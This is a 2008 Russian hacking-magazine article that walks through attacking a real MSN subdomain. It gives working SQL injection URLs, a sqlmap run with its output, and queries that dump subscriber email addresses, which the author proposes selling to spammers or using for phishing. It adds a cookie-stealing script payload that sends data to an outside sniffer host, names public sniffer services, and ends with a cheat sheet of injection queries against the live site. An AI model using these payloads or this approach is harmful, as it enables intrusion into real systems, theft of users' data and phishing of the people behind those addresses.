Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

Разлом MSN: эксплуатируем крупнейший проект Microsoft

Андрей Комаров (komarov@itdefence.ru)




MSN.com – один из самых популярных WEB-ресурсов компании Microsoft. Он сочетает в себе новостные ленты, видео-сервисы, аналитические материалы и многочисленные статьи, а также огромный ряд подпроектов. Что уж тут говорить – такой ресурс просто не может остаться без внимания хакера.

Не буду тянуть кота за хвост, описывая неудачные приемы взлома. Спустя три часа ковыряния поддоменнов я нашел первый SQL. Традиционные (для хакера, - Прим. Forb) запросы к базе позволили узнать ее версию и пользователя, ответственного за базу. Учитывая эти факты, мне стало ясно, что СУБД крутится на другом сервере:

http://business.za.msn.com/msn/view_article.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,%20version()
http://business.za.msn.com/msn/view_article.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,user()

Дальнейшая задача состояла в том, чтобы выдрать все доступные таблицы из базы. В первую очередь требовалось заняться подбором колонок. Во избежание лишнего геморроя логичнее всего использовать специальный автоматизированный софт. Одной из самых популярных утилит для этого является sqlmap (sqlmap.sourceforge.net). Разумеется, за тебя эта программа баги искать не будет, тебе требуется натравить ее для эксплуатации.
Корректный запуск программы с нужными параметрами приведен ниже:

pythoh sqlmap.py –u http://business.za.msn.com/msn/view_article.php?id=-1 –f –-banner –-current-user –-current-db –-tables

Где опция «-f» означает «фингерпринт» базы, «-banner» возвращает баннер. Вместе с этой опцией указываем параметры для показа текущего юзера, названия БД и списка таблиц.

Для наглядности можно использовать verbose-флаг. При этом будет понятно, удалась инъекция или нет.

$ python sqlmap.py -u http://business.za.msn.com/msn/view_article.php?id=-1 -v 1

[hh:mm:01] [INFO] testing connection to the target url
[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:02] [INFO] url is stable
[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:02] [INFO] GET parameter 'id' is dynamic
[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:02] [INFO] testing MySQL
[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:02] [INFO] retrieved: 55
[hh:mm:02] [INFO] performed 20 queries in 0 seconds
[hh:mm:02] [INFO] confirming MySQL
[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
[hh:mm:02] [INFO] retrieved: 1
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:02] [INFO] retrieved: 5
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
back-end DBMS: MySQL >= 5.0.0

Будем считать, что у нас все получилось. После детального изучения и кропотливого подбора мне удалось получить структуру БД.

Database:marketviews2
information_schema
marketviews2
test
Tables:mailing_list
article
article_comment
article_comments
article_type
author
cricket_results
date
general
inv_tips
last_ping
mailing_list
msn_type
msnbb
poll
poll_data
Columns: Table mailing_list
email
cdate

Напоследок сокрушив СУБД запросами вида:

http://business.za.msn.com/msn/view_article.php?id=-
1+UNION+ALL+SELECT+1,concat(table_schema,0x3a,table_name,
0x3a,column_name),3,4,5,6,7+from+information_schema.columns

http://business.za.msn.com/msn/view_article.php?id=-1+UNION+ALL+SELECT+1,email,3,4,5,6,7+from+mailing_list,

я получил почтовые адреса подписчиков ресурса, которые интересуются финансовой тематикой. Такие вещи для хакера всегда актуальны, особенно при перепродаже баз спамерам, занимающимся контекстной рассылкой по финансовой тематике. Или просто при проведении специальных узконаправленных атак на владельцев этих почтовых адресов.

Имитируя XSS

По-хорошему, эта басня преподнесла мне следующую мораль – брать на ресурсе нечего. Впрочем, на все есть свое «но». Уместный трюк в таком случае заключался в проведении фишинг-атаки. Для этого, с целью кражи конфиденциальных данных, я решил произвести рассылку писем всем подписчикам ресурса. В рассылке приложил письмо, содержащее XSS. Но из-за того, что на ресурсе XSS не наблюдалась, я решил ее просто сэмулировать. Для достижения цели было принято решение применить следующий трюк.

1. Составляем тривиальный JS-запрос вида:

<script>alert(‘XSS!')</script>

2. Кодируем его в HEX, используя онлайн-конвертер dolcevie.com/js/converter.html. После чего подставляем в текст письма, конструируя запрос в обход API к базе:

select * from some_table where id=-1 UNION ALL SELECT 1,2,3,4,5,6,
0x3c7363726970743e616c65727428276833636b696e67202d207a6c6f21212127293c2f7363726970743e

3. Так как элемента с порядком «-1» не существует, то по логике вещей, «звездочка» будет заменена на

1,2,3,4,5,6,0x3c7363726970743e616c65727428276833636b696e67202d207
a6c6f21212127293c2f7363726970743e

4. В итоге база вернет кашу, которую мы завари... то есть, закодировали ранее:

0x3c7363726970743e616c65727428276833636b696e67202d207a6c6f212121272
93c2f7363726970743e

5. На выходе получаем вполне себе ядовитый линк:

http://business.za.msn.com/msn/view_article.php?id=-
1+UNION+ALL+SELECT+1,2,3,4,5,6,0x3c7363726970743e616c
65727428276833636b696e67202d207a6c6f21212127293c2f7363726970743e

После открытия клиентом такого линка появится диалоговое окно, стало быть, XSS-нападение выполнено. Естественно, я не стал паковать alert-сообщение, а сделал разумное обращение на мой снифер:

<script>img = new Image(); img.src = "http://host.ru/s/s.gif?"+document.cookie;</script>

В качестве адреса снифера можно воспользоваться публично доступными и не изобретать велосипед. К примеру, снифером портала Antichat.ru (antichat.ru/cgi-bin/s.jpg) или старейшим ресурсом по безопасности http://old.antichat.ru/sniff/log.php. Существует также снифер портала Netsec.ru: s.netsec.ru/Ваш_Логин.gif.
После чего дело за малым – как говорится, греби логи пачками. Но следует иметь в виду, что на снифере имеется ограничение в 5к записей.

Добиваем MSN

После падения ресурса domainsdb.net многие не могли приспособиться под новые приемы осуществления Reverse IP-lookup – техники выявления сторонних проектов и сабдоменных аккаунтов на IP-адресе. В этом плане, MSN может здорово пригодиться. Через поисковую систему Search.MSN.com вполне реально сделать все вышесказанное, указав в поиске специальное уточнение «ip:».

Многие хакеры уже давно втихаря юзают эту штуку. Пора бы приоткрыть над ней завесу тайны. Для автоматизации запросов напишем простенькую функцию, которая позволит использовать кэш MSN для получения сайтов, размещенных на отдельно взятом IP.

def howmany(w):
h = httplib.HTTP('search.msn.com')
# посылаем GET запрос с параметрами, имитирующими наш браузер
h.putrequest('GET',"/results.aspx?q=ip:"+w+"&FORM=QBHP")
h.putheader('Host', 'search.msn.com')
h.putheader('User-agent', 'Internet Explorer 6.0 ')
h.endheaders()
# получаем исходный код страницы результатов
returncode, returnmsg, headers = h.getreply()
data=h.getfile().read()
r1 = re.compile('of [0123456789,]* results')
result = r1.findall(data)
if result == []:
print "No results :("
sys.exit()
for x in result:
clean = re.sub('of','',x)
clean = re.sub('results','',clean)
clean = re.sub(',','',clean)
return clean

def run(w,i):
h = httplib.HTTP('search.msn.com')
h.putrequest('GET',"/results.aspx?q=ip:"+w+"&FORM=QBHP&first="+str(i))
h.putheader('Host', 'search.msn.com')
h.putheader('User-agent', 'Internet Explorer 6.0 ')
h.putheader('Cookies','SRCHHPGUSR=NEWWND=0&ADLT=DEMOTE&NRSLT=50&NRSPH=1;')
h.endheaders()
returncode, returnmsg, headers = h.getreply()
data=h.getfile().read()
data = re.sub('<ul>','n',data)
r1 = re.compile('<li class="first">[^<]*</li>')
res = r1.findall(data)
return res

К слову, такие трюки можно делать почти через каждый популярный поисковик, опираясь на его индивидуальные особенности. Скажем, мощь индексации Google здорово пригодится в деле выявления сабдоменов. В свое время n4nobit, еще будучи в известной русской команде HellKnights Crew, опубликовал статью, посвященную использованию четырех крупнейших поисковых систем для автопоиска уязвимых проектов и автошелла ресурсов с целью осуществления DDOS-атак. Полный исходный код такой программы ты найдешь на нашем диске.

Победа будет за нами!

Мы выжали из MSN все, что могли. Можно бежать за шампанским и праздновать победу. И так будет с каждым ресурсом, который попадется под мою отчаянную лапу. Главное, – проявить уважение к авторам проектов и не уничтожать все на своем пути. А также понимать, что ответственность за последствия взлома несет только хакер.

MSN-хитрости

Иногда важные запросы совсем вылетают из памяти. Ниже приводится шпаргалка для хакера.

1. Загруженность базы данных в данный момент:

http://business.za.msn.com/msn/view_article.php?id=-
1+UNION+ALL+SELECT+1,concat_ws(0x3a,Id,Host,User,Command),
3,4,5,6,7+from+information_schema.processlist

2. Просмотр установленных плагинов MySQL:

http://business.za.msn.com/msn/view_article.php?id=
-1+UNION+ALL+SELECT+1,PLUGIN_NAME,3,4,5,6,7+from+information_schema.PLUGINS

2а. Их содержание напрямую опирается на референсы (dev.mysql.com/doc/refman/5.1/en/plugin-api.html). На узле MSN, как видишь, используются достаточно стандартные дополнения, а именно: Binlog, partition, ARCHIVE, BLACKHOLE, CSV, FEDERATED, MEMORY, InnoDB, MyISAM, MRG_MyISAM, ndbcluster. Они бывают актуальны, когда, ориентируясь на уязвимости, найденные в каких-либо функциях модуля, нужно выполнить запрос в обход API, совершить атаку на отказ в обслуживание и многое другое.

3. Просмотр переменных глобального окружения MySQL:

http://business.za.msn.com/msn/view_article.php?id=-
1+UNION+ALL+SELECT+1,concat_ws(0x3a,VARIABLE_NAME,
VARIABLE_VALUE),3,4,5,6,7+from+information_schema.GLOBAL_VARIABLES

4. Наиболее интересная информация, которая была получена из запроса, за исключением технических настроек и подробностей функционирования:

Hostname: nis07.sharenet.co.za
Version Comment: MySQL Community Server (GPL)
Versions: 5.1.17-beta
Version_compile_machine: i686
Version_compile_OS: pc-linux-gnu

Содержание
ttfb: 4.4829845428467 ms